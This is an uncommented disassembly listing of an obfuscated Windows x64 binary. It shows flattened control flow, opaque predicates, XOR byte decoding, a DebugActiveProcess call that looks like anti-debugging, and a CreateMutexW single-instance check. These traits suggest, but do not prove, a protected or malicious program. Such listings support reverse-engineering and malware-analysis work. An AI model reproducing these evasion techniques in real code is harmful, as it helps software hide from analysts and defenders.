imul rdi, rbx, 0x51eb851f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x32
sub ebx, edi
mov edi, Ordinal_79
sub edi, ebx
add ebx, 0x34
and edi, 0x44
and ebx, 0xbb
or ebx, edi
xor bl, byte [rcx + rax]
xor bl, 0x44
mov byte [rbp + 0x148], bl
mov ebx, 0xff985b09
jmp 0x140365ee0
cmp ebx, 0x1de194da
jne 0x140365ee0
mov ecx, 0xbc2b49d4
jmp 0x1403658fd
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xabbce9cb
mov eax, 0x11f8d03
jmp 0x1403658f0
and bl, 1
mov byte [rbp + 0x160], bl
mov al, byte [rbp + 0x160]
mov byte [rbp + 0xe8], al
mov ecx, 0x4c03b46e
jmp 0x1403658fd
cmp ecx, 0x3c5fcee1
jne 0x1403658fd
mov rax, qword [rbp + 0x190]
mov ecx, 0x3417d38f
jmp 0x140364f70
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xab7a63b5
mov ecx, 0xfa763ee8
jmp 0x140363630
mov eax, 0x69e973a2
jmp 0x14036363d
mov ecx, dword [rbp - 0x24]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
mov dword [rbp - 0x28], eax
mov eax, 0x32a17426
jmp 0x14036363d
mov cl, byte [rbp + 0xbf]
cmp byte [rbp + 0xbe], 0
mov eax, 0x7d27d2f2
mov edx, 0xdc2e1066
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14036363d
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xab7a63b5
mov ecx, 0x31deb1fd
jmp 0x140363630
mov eax, 0x8db08303
jmp 0x14036363d
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x50]
mov eax, 0x865a0df6
jmp 0x14036363d
cmp byte [rbp + 0xbd], 0
mov eax, 0x90a4ebf2
mov ecx, 0x22a69324
cmovne eax, ecx
jmp 0x14036363d
mov r8, qword [rbp + 0x60]
mov eax, 0xc39bf014
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdac22760
jle 0x140366290
cmp eax, 0xdac22761
je 0x1403662c0
cmp eax, 0xf393b6a8
je 0x140366983
cmp eax, 0x7ba0b5f9
jne 0x140366260
mov eax, 0xb033de52
jmp 0x140366260
cmp eax, 0xb033de52
je 0x140367094
cmp eax, 0xc39bf014
jne 0x140366260
mov eax, dword [0x140ae13a0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf393b6a8
mov ecx, 0xdac22761
jmp 0x140366971
mov ecx, 0xd6d5a1
jmp 0x1403662ed
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0xffe2ec1c
cmove ecx, eax
cmp dword [0x140ae80c0], 0xa
cmovl ecx, eax
cmp ecx, 0x17fdc9fc
jle 0x140366330
cmp ecx, 0x4af83284
jle 0x1403663b0
cmp ecx, 0x53512481
jle 0x1403663de
cmp ecx, 0x53512482
je 0x1403662c7
cmp ecx, 0x74423369
jne 0x14036693e
mov qword [rbp + 0x178], r8
mov ecx, 0xc655d466
jmp 0x1403662ed
cmp ecx, 0xf6812406
jg 0x140366360
cmp ecx, 0xd155fb1e
jg 0x1403666db
cmp ecx, 0xc655d466
je 0x14036678a
cmp ecx, 0xcb338767
jne 0x1403662ed
mov ecx, 0x74423369
jmp 0x1403662ed
cmp ecx, 0xd6d5a0
jg 0x14036671f
cmp ecx, 0xf6812407
je 0x1403667b2
cmp ecx, 0xffe2ec1c
jne 0x1403662ed
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0x548cb6a1
jmp 0x1403662e0
cmp ecx, 0x30636abf
jg 0x140366750
cmp ecx, 0x17fdc9fd
je 0x1403667d0
cmp ecx, 0x22da1d90
jne 0x1403662ed
mov ecx, 0x53512482
jmp 0x1403662ed
cmp ecx, 0x4af83285
je 0x140366779
cmp ecx, 0x4be33bfd
jne 0x1403662ed
mov rcx, qword [rbp + 0x160]
mov ebx, 0xb2a00f5a
jmp 0x14036642a
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0x382df1a
cmove ebx, eax
cmp dword [0x140ae80c8], 0xa
cmovl ebx, eax
cmp ebx, 0xdf8476f9
jle 0x140366480
cmp ebx, 0x382df19
jle 0x140366520
cmp ebx, 0x34abb7a0
jg 0x140366602
cmp ebx, 0x382df1a
je 0x1403666b9
cmp ebx, 0x2f1a8b30
jne 0x14036642a
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0xdf8476fa
jmp 0x14036641d
cmp ebx, 0xb2a00f59
jg 0x1403665c0
cmp ebx, 0x93d17422
je 0x140366618
cmp ebx, 0x99324306
je 0x140366672
cmp ebx, 0xafa4d35b
jne 0x14036642a
mov eax, dword [rbp + 0x140]
lea ebx, [rax + 0x34]
mov edi, dword [rbp + 0x138]
mov esi, 0xffcb
sub esi, eax
and esi, edi
not edi
and edi, ebx
or esi, edi
mov rax, qword [rbp + 0x190]
mov word [r8 + rax*2], si
mov eax, dword [rbp + 0x148]
add eax, 1
mov dword [rbp + 0xe8], eax
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
cmove ebx, r10d
cmp dword [0x140ae80c8], 0xa
cmovl ebx, r10d
jmp 0x14036642a
cmp ebx, 0xdf8476fa
je 0x140366404
cmp ebx, 0xed51ceca
je 0x140366628
cmp ebx, 0xf5f91ee0
jne 0x14036642a
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov ebx, dword [rbp + 0x138]
mov ebx, dword [rbp + 0x138]
mov ebx, 0xffcb
sub ebx, eax
add eax, 0x34
and ebx, 0xbad0
and eax, 0x452f
or eax, ebx
xor eax, dword [rbp + 0x138]
xor eax, 0xbad0
mov rbx, qword [rbp + 0x190]
mov word [r8 + rbx*2], ax
mov eax, dword [rbp + 0x148]
mov ebx, 0xafa4d35b
jmp 0x14036642a
cmp ebx, 0xb2a00f5a
je 0x140366668
cmp ebx, 0xb3d2b23b
je 0x14036668f
cmp ebx, 0xb96442a5
jne 0x14036642a
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
mov eax, 0xafa4d35b
jmp 0x14036641d
cmp ebx, 0x48e67897
jne 0x1403666c5
mov ebx, 0xdf8476fa
jmp 0x14036642a
mov ebx, 0x99324306
mov edx, dword [rbp + 0xe8]
jmp 0x14036642a
mov rax, qword [rbp + 0x198]
movzx eax, word [rax]
mov dword [rbp + 0x138], eax
movsxd rax, dword [rbp + 0x148]
imul rbx, rax, 0x51eb851f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x24
add ebx, edi
imul ebx, ebx, 0x32
sub eax, ebx
mov dword [rbp + 0x140], eax
mov ebx, 0xb96442a5
jmp 0x14036642a
mov ebx, 0x2f1a8b30
jmp 0x14036642a
mov dword [rbp + 0x148], edx
mov eax, dword [rbp + 0x148]
cmp eax, 9
mov ebx, 0x34abb7a1
cmovl ebx, r9d
jmp 0x14036642a
movsxd rax, dword [rbp + 0x148]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x190]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x198], rax
mov ebx, 0xed51ceca
jmp 0x14036642a
mov ebx, 0x99324306
xor edx, edx
jmp 0x14036642a
cmp ebx, 0x34abb7a1
jne 0x14036642a
mov ecx, 0xcb338767
jmp 0x1403662ed
cmp ecx, 0xd155fb1f
je 0x1403667da
cmp ecx, 0xe29e52eb
jne 0x1403662ed
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x188], rax
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
mov eax, 0x22da1d90
jmp 0x1403662e0
cmp ecx, 0xd6d5a1
je 0x1403667f8
cmp ecx, 0xb1a22af
jne 0x1403662ed
cmp byte [rbp + 0xf0], 0
mov ecx, 0x74423369
mov eax, 0x4af83285
cmovne ecx, eax
jmp 0x1403662ed
cmp ecx, 0x30636ac0
je 0x140366934
cmp ecx, 0x32ffbaa7
jne 0x1403662ed
mov rax, qword [rbp + 0x178]
mov ecx, 0xe29e52eb
jmp 0x1403662ed
mov qword [rbp + 0x160], r8
mov ecx, 0x4be33bfd
jmp 0x1403662ed
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
cmove ecx, r11d
cmp dword [0x140ae80c0], 0xa
cmovl ecx, r11d
jmp 0x1403662ed
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xd155fb1f
jmp 0x1403662e0
mov ecx, 0xd155fb1f
jmp 0x1403662ed
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xb1a22af
jmp 0x1403662e0
mov eax, dword [0x140ae80cc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae80d0], 0xa
setl cl
or cl, al
mov r10d, 0x290c383d
mov eax, 0xfccaf4b1
cmovne r10d, eax
mov ecx, 0x290c383d
mov eax, 0xe9966ea0
cmovne ecx, eax
movzx r9d, word [r8 + 0x10]
mov esi, 0x62375d7
mov eax, 0xb39fb905
cmovne esi, eax
mov edi, 0x62375d7
mov eax, 0xea2ad473
cmovne edi, eax
mov edx, 0xfdb9d5d8
jmp 0x140366860
mov edx, 0x12d06eb6
nop dword [rax]
mov ebx, edx
cmp edx, 0xfdb9d5d7
jle 0x140366890
cmp ebx, 0x12d06eb5
jg 0x1403668c0
mov edx, edi
cmp ebx, 0xfdb9d5d8
je 0x140366860
mov edx, ebx
cmp ebx, 0x62375d7
jne 0x140366860
mov edx, 0xea2ad473
jmp 0x140366860
cmp ebx, 0xea2ad472
jg 0x1403668e5
cmp ebx, 0xb39fb905
je 0x140366858
mov edx, ebx
cmp ebx, 0xe9966ea0
jne 0x140366860
cmp word [rbp + 0x198], 0
setne al
mov edx, r10d
jmp 0x140366860
mov edx, ecx
cmp ebx, 0x12d06eb6
je 0x140366860
mov edx, ebx
cmp ebx, 0x290c383d
jne 0x140366860
movzx edx, word [rbp + 0x198]
mov edx, 0xe9966ea0
jmp 0x140366860
cmp ebx, 0xea2ad473
jne 0x1403668fc
mov word [rbp + 0x198], r9w
mov edx, esi
jmp 0x140366860
mov edx, ebx
cmp ebx, 0xfccaf4b1
jne 0x140366860
and al, 1
mov byte [rbp + 0x190], al
mov al, byte [rbp + 0x190]
mov byte [rbp + 0xf0], al
mov ecx, 0xf6812407
mov r9d, 0xb3d2b23b
mov r10d, 0x93d17422
jmp 0x1403662ed
mov ecx, 0xffe2ec1c
jmp 0x1403662ed
cmp ecx, 0x548cb6a1
jne 0x1403662ed
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x110], r8
mov eax, dword [0x140ae13a0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf393b6a8
mov ecx, 0x7ba0b5f9
cmove eax, ecx
cmp dword [0x140ae13a4], 0xa
cmovl eax, ecx
jmp 0x140366260
mov ecx, 0xd6d5a1
jmp 0x1403669bd
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xd155fb1f
nop word cs:[rax + rax]
nop dword [rax]
cmove ecx, eax
cmp dword [0x140ae80c0], 0xa
cmovl ecx, eax
cmp ecx, 0x17fdc9fc
jle 0x140366a10
cmp ecx, 0x4af83284
jle 0x140366aa0
cmp ecx, 0x53512481
jle 0x140366ace
cmp ecx, 0x53512482
je 0x140366e69
cmp ecx, 0x74423369
jne 0x14036702e
mov qword [rbp + 0x178], r8
mov ecx, 0xc655d466
jmp 0x1403669bd
cmp ecx, 0xf6812406
jg 0x140366a50
cmp ecx, 0xd155fb1e
jg 0x140366dcb
cmp ecx, 0xc655d466
je 0x140366e87
cmp ecx, 0xcb338767
jne 0x1403669bd
mov ecx, 0x74423369
jmp 0x1403669bd
cmp ecx, 0xd6d5a0
jg 0x140366e0f
cmp ecx, 0xf6812407
je 0x14036698a
cmp ecx, 0xffe2ec1c
jne 0x1403669bd
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0x548cb6a1
jmp 0x1403669b0
cmp ecx, 0x30636abf
jg 0x140366e40
cmp ecx, 0x17fdc9fd
je 0x140366eaf
cmp ecx, 0x22da1d90
jne 0x1403669bd
mov ecx, 0x53512482
jmp 0x1403669bd
cmp ecx, 0x4af83285
je 0x140366eb9
cmp ecx, 0x4be33bfd
jne 0x1403669bd
mov rcx, qword [rbp + 0x160]
mov ebx, 0xb2a00f5a
jmp 0x140366b1a
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0x382df1a
cmove ebx, eax
cmp dword [0x140ae80c8], 0xa
cmovl ebx, eax
cmp ebx, 0xdf8476f9
jle 0x140366b70
cmp ebx, 0x382df19
jle 0x140366c10
cmp ebx, 0x34abb7a0
jg 0x140366cf2
cmp ebx, 0x382df1a
je 0x140366d62
cmp ebx, 0x2f1a8b30
jne 0x140366b1a
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0xdf8476fa
jmp 0x140366b0d
cmp ebx, 0xb2a00f59
jg 0x140366cb0
cmp ebx, 0x93d17422
je 0x140366d08
cmp ebx, 0x99324306
je 0x140366d6e
cmp ebx, 0xafa4d35b
jne 0x140366b1a
mov eax, dword [rbp + 0x140]
lea ebx, [rax + 0x34]
mov edi, dword [rbp + 0x138]
mov esi, 0xffcb
sub esi, eax
and esi, edi
not edi
and edi, ebx
or esi, edi
mov rax, qword [rbp + 0x190]
mov word [r8 + rax*2], si
mov eax, dword [rbp + 0x148]
add eax, 1
mov dword [rbp + 0xe8], eax
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
cmove ebx, r10d
cmp dword [0x140ae80c8], 0xa
cmovl ebx, r10d
jmp 0x140366b1a
cmp ebx, 0xdf8476fa
je 0x140366af4
cmp ebx, 0xed51ceca
je 0x140366d18
cmp ebx, 0xf5f91ee0
jne 0x140366b1a
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov ebx, dword [rbp + 0x138]
mov ebx, dword [rbp + 0x138]
mov ebx, 0xffcb
sub ebx, eax
add eax, 0x34
and ebx, 0xbad0
and eax, 0x452f
or eax, ebx
xor eax, dword [rbp + 0x138]
xor eax, 0xbad0
mov rbx, qword [rbp + 0x190]
mov word [r8 + rbx*2], ax
mov eax, dword [rbp + 0x148]
mov ebx, 0xafa4d35b
jmp 0x140366b1a
cmp ebx, 0xb2a00f5a
je 0x140366d58
cmp ebx, 0xb3d2b23b
je 0x140366d8b
cmp ebx, 0xb96442a5
jne 0x140366b1a
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
mov eax, 0xafa4d35b
jmp 0x140366b0d
cmp ebx, 0x48e67897
jne 0x140366db5
mov ebx, 0xdf8476fa
jmp 0x140366b1a
mov ebx, 0x99324306
mov edx, dword [rbp + 0xe8]
jmp 0x140366b1a
mov rax, qword [rbp + 0x198]
movzx eax, word [rax]
mov dword [rbp + 0x138], eax
movsxd rax, dword [rbp + 0x148]
imul rbx, rax, 0x51eb851f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x24
add ebx, edi
imul ebx, ebx, 0x32
sub eax, ebx
mov dword [rbp + 0x140], eax
mov ebx, 0xb96442a5
jmp 0x140366b1a
mov ebx, 0x2f1a8b30
jmp 0x140366b1a
mov ebx, 0x99324306
xor edx, edx
jmp 0x140366b1a
mov dword [rbp + 0x148], edx
mov eax, dword [rbp + 0x148]
cmp eax, 9
mov ebx, 0x34abb7a1
cmovl ebx, r9d
jmp 0x140366b1a
movsxd rax, dword [rbp + 0x148]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x190]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x198], rax
mov ebx, 0xed51ceca
jmp 0x140366b1a
cmp ebx, 0x34abb7a1
jne 0x140366b1a
mov ecx, 0xcb338767
jmp 0x1403669bd
cmp ecx, 0xd155fb1f
je 0x140366eca
cmp ecx, 0xe29e52eb
jne 0x1403669bd
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x188], rax
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
mov eax, 0x22da1d90
jmp 0x1403669b0
cmp ecx, 0xd6d5a1
je 0x140366ee8
cmp ecx, 0xb1a22af
jne 0x1403669bd
cmp byte [rbp + 0xf0], 0
mov ecx, 0x74423369
mov eax, 0x4af83285
cmovne ecx, eax
jmp 0x1403669bd
cmp ecx, 0x30636ac0
je 0x140367024
cmp ecx, 0x32ffbaa7
jne 0x1403669bd
mov rax, qword [rbp + 0x178]
mov ecx, 0xe29e52eb
jmp 0x1403669bd
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0xffe2ec1c
jmp 0x1403669b0
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
cmove ecx, r11d
cmp dword [0x140ae80c0], 0xa
cmovl ecx, r11d
jmp 0x1403669bd
mov ecx, 0xd155fb1f
jmp 0x1403669bd
mov qword [rbp + 0x160], r8
mov ecx, 0x4be33bfd
jmp 0x1403669bd
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xb1a22af
jmp 0x1403669b0
mov eax, dword [0x140ae80cc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae80d0], 0xa
setl cl
or cl, al
mov r10d, 0x290c383d
mov eax, 0xfccaf4b1
cmovne r10d, eax
mov ecx, 0x290c383d
mov eax, 0xe9966ea0
cmovne ecx, eax
movzx r9d, word [r8 + 0x10]
mov esi, 0x62375d7
mov eax, 0xb39fb905
cmovne esi, eax
mov edi, 0x62375d7
mov eax, 0xea2ad473
cmovne edi, eax
mov edx, 0xfdb9d5d8
jmp 0x140366f50
mov edx, 0x12d06eb6
nop dword [rax]
mov ebx, edx
cmp edx, 0xfdb9d5d7
jle 0x140366f80
cmp ebx, 0x12d06eb5
jg 0x140366fb0
mov edx, edi
cmp ebx, 0xfdb9d5d8
je 0x140366f50
mov edx, ebx
cmp ebx, 0x62375d7
jne 0x140366f50
mov edx, 0xea2ad473
jmp 0x140366f50
cmp ebx, 0xea2ad472
jg 0x140366fd5
cmp ebx, 0xb39fb905
je 0x140366f48
mov edx, ebx
cmp ebx, 0xe9966ea0
jne 0x140366f50
cmp word [rbp + 0x198], 0
setne al
mov edx, r10d
jmp 0x140366f50
mov edx, ecx
cmp ebx, 0x12d06eb6
je 0x140366f50
mov edx, ebx
cmp ebx, 0x290c383d
jne 0x140366f50
movzx edx, word [rbp + 0x198]
mov edx, 0xe9966ea0
jmp 0x140366f50
cmp ebx, 0xea2ad473
jne 0x140366fec
mov word [rbp + 0x198], r9w
mov edx, esi
jmp 0x140366f50
mov edx, ebx
cmp ebx, 0xfccaf4b1
jne 0x140366f50
and al, 1
mov byte [rbp + 0x190], al
mov al, byte [rbp + 0x190]
mov byte [rbp + 0xf0], al
mov ecx, 0xf6812407
mov r9d, 0xb3d2b23b
mov r10d, 0x93d17422
jmp 0x1403669bd
mov ecx, 0xffe2ec1c
jmp 0x1403669bd
cmp ecx, 0x548cb6a1
jne 0x1403669bd
mov rax, qword [rbp + 0x188]
mov eax, 0xdac22761
jmp 0x140366260
mov r8, qword [rbp + 0x110]
sub rsp, 0x20
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
mov eax, 0xa1fecb45
jmp 0x14036363d
mov qword [rbp - 0x68], r8
mov eax, 0xa00414a7
jmp 0x14036363d
mov r8, qword [rbp + 0x110]
sub rsp, 0x20
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
test eax, eax
setne byte [rbp + 0xbd]
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa54ab2cb
mov ecx, 0x621b1e95
jmp 0x140363630
cmp eax, 0x10a9c4aa
je 0x14036a494
cmp eax, 0x11b42cdb
jne 0x14036363d
jmp 0x14036a4af
cmp eax, 0x3254c070
jne 0x14036363d
mov rax, qword [rbp - 0x48]
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
mov dword [rax], 0
mov rax, qword [rbp - 0x48]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
mov eax, dword [0x140ae0930]
mov ecx, dword [0x140ae0934]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x127]
cmp ecx, 0xa
setl byte [rbp + 0x126]
mov eax, 0x8c435fca
jmp 0x140367183
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc0a9c721
mov ecx, 0x75ad9735
cmove eax, ecx
cmp dword [0x140ae0934], 0xa
cmovl eax, ecx
cmp eax, 0xdc650d0c
jg 0x1403671c0
cmp eax, 0xc0a9c720
jle 0x140368ac0
cmp eax, 0xc0a9c721
je 0x140368af4
cmp eax, 0xc5b26aa3
je 0x140368afe
cmp eax, 0xcd3ceec2
jne 0x140367183
mov eax, 0xb8d9c8bd
jmp 0x140367183
cmp eax, 0x62f157cd
jg 0x140368aa0
cmp eax, 0xdc650d0d
je 0x140368b1c
cmp eax, 0xf65e0237
jne 0x14036a474
mov qword [rbp + 0x88], rsp
mov eax, 0xfdaaf27
jmp 0x1403671f5
mov eax, 0x7e25d310
jmp 0x140367220
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x19c143a2
cmove eax, ecx
cmp dword [0x140ae8104], 0xa
cmovl eax, ecx
nop dword [rax]
cmp eax, 0xfdaaf26
jg 0x140367280
cmp eax, 0xdfce91c2
jle 0x1403672c0
cmp eax, 0xfbaed13e
jle 0x14036735c
cmp eax, 0x18c9d92
jg 0x140367582
cmp eax, 0xfbaed13f
je 0x1403677f5
cmp eax, 0xfc3de4fb
jne 0x140367220
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x38ffed7e
jmp 0x140367210
cmp eax, 0x31b142dc
jle 0x140367310
cmp eax, 0x4ca3889a
jle 0x14036748c
cmp eax, 0x704c8eec
jg 0x1403675bd
cmp eax, 0x4ca3889b
je 0x1403677ff
cmp eax, 0x55d14e4e
je 0x140368450
jmp 0x140367220
cmp eax, 0xb8886505
jle 0x140367508
cmp eax, 0xc831fa39
jg 0x1403677c8
cmp eax, 0xb8886506
je 0x140367809
cmp eax, 0xc329a2b3
jne 0x140367220
mov eax, dword [rbp + 0xc4]
cmp eax, 0xcded1a85
sete byte [rbp + 0x172]
mov eax, 0xe1148b9
jmp 0x140367220
cmp eax, 0x1e9056d4
jg 0x14036754b
cmp eax, 0xfdaaf27
je 0x14036782b
cmp eax, 0x14c956a0
je 0x140367861
cmp eax, 0x19c143a2
jne 0x140367220
cmp byte [rbp + 0x171], 0
mov eax, 0xfbaed13f
mov ecx, 0x7e25d310
cmovne eax, ecx
mov r14, qword [rbp + 0x110]
jmp 0x140367220
cmp eax, 0xdfce91c3
je 0x140367a16
cmp eax, 0xe3eafbe4
je 0x140367a38
cmp eax, 0xf40e2635
jne 0x140367220
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8108]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140ae810c], 0xa
setl dl
or dl, cl
mov edx, 0x5704dee6
mov ecx, 0x42c6bf2c
cmovne edx, ecx
mov ecx, 0x5704dee6
mov ebx, 0xbb5b4fcd
cmovne ecx, ebx
mov r8, qword [rax + 8]
mov ebx, 0x64fe3025
mov eax, 0x47a989db
cmovne ebx, eax
mov edi, 0x64fe3025
mov eax, 0x3860c77
cmovne edi, eax
mov eax, 0x3c1c4314
jmp 0x1403673f0
mov rax, qword [rbp + 0x198]
mov eax, 0xbb5b4fcd
nop dword [rax]
cmp eax, 0x42c6bf2b
jg 0x140367410
cmp eax, 0x3860c76
jg 0x140367430
cmp eax, 0xbb5b4fcd
je 0x140367450
cmp eax, 0xbd215c35
jne 0x1403673f0
mov eax, ecx
jmp 0x1403673f0
cmp eax, 0x5704dee5
jle 0x140367442
cmp eax, 0x5704dee6
je 0x1403673e1
cmp eax, 0x64fe3025
jne 0x1403673f0
mov eax, 0x3860c77
jmp 0x1403673f0
cmp eax, 0x3860c77
je 0x14036745e
cmp eax, 0x3c1c4314
jne 0x1403673f0
mov eax, edi
jmp 0x1403673f0
cmp eax, 0x47a989db
jne 0x140367469
mov eax, 0xbd215c35
jmp 0x1403673f0
mov rax, qword [rbp + 0x198]
mov esi, dword [rax + 0x18]
mov eax, edx
jmp 0x1403673f0
mov qword [rbp + 0x198], r8
mov eax, ebx
jmp 0x1403673f0
cmp eax, 0x42c6bf2c
jne 0x1403673f0
mov dword [rbp + 0x190], esi
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0xc8], eax
mov eax, 0x4ca3889b
jmp 0x140367220
cmp eax, 0x31b142dd
je 0x140367ab8
cmp eax, 0x38ffed7e
je 0x1403671f7
cmp eax, 0x470a4e5f
jne 0x140367220
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x188], rdx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 0x20]
mov dword [rbp + 0x178], ecx
mov edx, 0x1693d0f7
nop word cs:[rax + rax]
cmp edx, 0x2d3e5cdb
je 0x140367ad1
cmp edx, 0x1693d0f7
jne 0x1403674e0
mov ecx, dword [rbp + 0x178]
add rcx, qword [rbp + 0x188]
mov edx, 0x2d3e5cdb
jmp 0x1403674e0
cmp eax, 0xa24d1d27
je 0x140368148
cmp eax, 0xacc95487
je 0x140368160
cmp eax, 0xb2fd6b3c
jne 0x140367220
mov eax, 0x18c9d93
mov dword [rbp + 0x108], 0
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0x98], rcx
jmp 0x140367220
cmp eax, 0x1e9056d5
je 0x14036818a
cmp eax, 0x2e8fc0cf
je 0x140368194
cmp eax, 0x2f80c4ea
jne 0x140367220
mov eax, 0xacc95487
mov ecx, dword [rbp + 0xc8]
mov dword [rbp + 0xa8], ecx
jmp 0x140367220
cmp eax, 0x18c9d93
je 0x1403681c9
cmp eax, 0xe1148b9
jne 0x140367220
cmp byte [rbp + 0x172], 0
mov eax, 0xacc95487
mov ecx, 0xe3eafbe4
cmovne eax, ecx
mov ecx, dword [rbp + 0x12c]
mov dword [rbp + 0xa8], ecx
jmp 0x140367220
cmp eax, 0x704c8eed
je 0x1403681fe
cmp eax, 0x7e25d310
jne 0x140367220
mov qword [rbp + 0x148], r14
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov rax, qword [rbp + 0xe0]
mov r10, qword [rax + 0x30]
mov r8, qword [rbp + 0x118]
mov qword [r8], r10
mov eax, dword [0x140ae8110]
mov ecx, dword [0x140ae8114]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x178]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x188]
or cl, al
mov edx, 0xfe777634
mov eax, 0xda4ed74b
cmovne edx, eax
mov ecx, 0xfe777634
mov eax, 0x14a712fb
cmovne ecx, eax
mov edi, 0x5f40d673
mov eax, 0x958d7ea
cmovne edi, eax
mov ebx, 0xdc2154f5
jmp 0x140367670
mov qword [rbp + 0x198], r10
mov ebx, edi
nop dword [rax]
mov eax, ebx
